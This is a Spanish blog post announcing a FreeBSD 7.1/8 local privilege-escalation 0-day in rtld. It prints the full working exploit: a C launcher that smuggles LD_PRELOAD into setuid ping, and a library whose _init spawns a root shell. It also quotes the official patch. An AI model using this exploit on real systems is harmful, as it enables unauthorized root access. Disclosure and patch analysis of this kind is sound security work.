•
Exploit (0-day) en FreeBSD 7.1 y 8: Como obtener root con acceso local
En el foro, e-Minguez nos comenta el 0-day en FreeBSD 7.1 y FreeBSD 8.
Podemos encontrar el exploit en la lista de full-disclosure. Su uso resulta de lo más simple.
Mediante el siguiente código se engaña al rtld para cargar una librería con LD_PRELOAD en un binario con setugid (el ID efectivo cuando se ejecuta es root, en lugar del ID del usuario):
main() {
extern char **environ;
environ = (char**)malloc(8096);
environ[0] = (char*)malloc(1024);
environ[1] = (char*)malloc(1024);
strcpy(environ[1], "LD_PRELOAD=/tmp/w00t.so.1.0");
execl("/sbin/ping", "ping", 0);
}
La librería solo debe ejecutar cualquier binario o shell para obtener el root:
void _init() {
extern char **environ;
environ=NULL;
system("echo ALEX-ALEX;/bin/sh");
}
Podemos encontrar el patch para FreeBSD 8 en la lista freebsd-security-notifications, podemos ver de su simplicidad:
Index: rtld.c
===================================================================
--- rtld.c (revision 199977)
+++ rtld.c (working copy)
@@ -366,12 +366,12 @@
* future processes to honor the potentially un-safe variables.
*/
if (!trust) {
- unsetenv(LD_ "PRELOAD");
- unsetenv(LD_ "LIBMAP");
- unsetenv(LD_ "LIBRARY_PATH");
- unsetenv(LD_ "LIBMAP_DISABLE");
- unsetenv(LD_ "DEBUG");
- unsetenv(LD_ "ELF_HINTS_PATH");
+ if (unsetenv(LD_ "PRELOAD") || unsetenv(LD_ "LIBMAP") ||
+ unsetenv(LD_ "LIBRARY_PATH") || unsetenv(LD_ "LIBMAP_DISABLE") ||
+ unsetenv(LD_ "DEBUG") || unsetenv(LD_ "ELF_HINTS_PATH")) {
+ _rtld_error("environment corrupt; aborting");
+ die();
+ }
}
ld_debug = getenv(LD_ "DEBUG");
libmap_disable = getenv(LD_ "LIBMAP_DISABLE") != NULL;
Relacionados
Imprimir
Deja un comentario: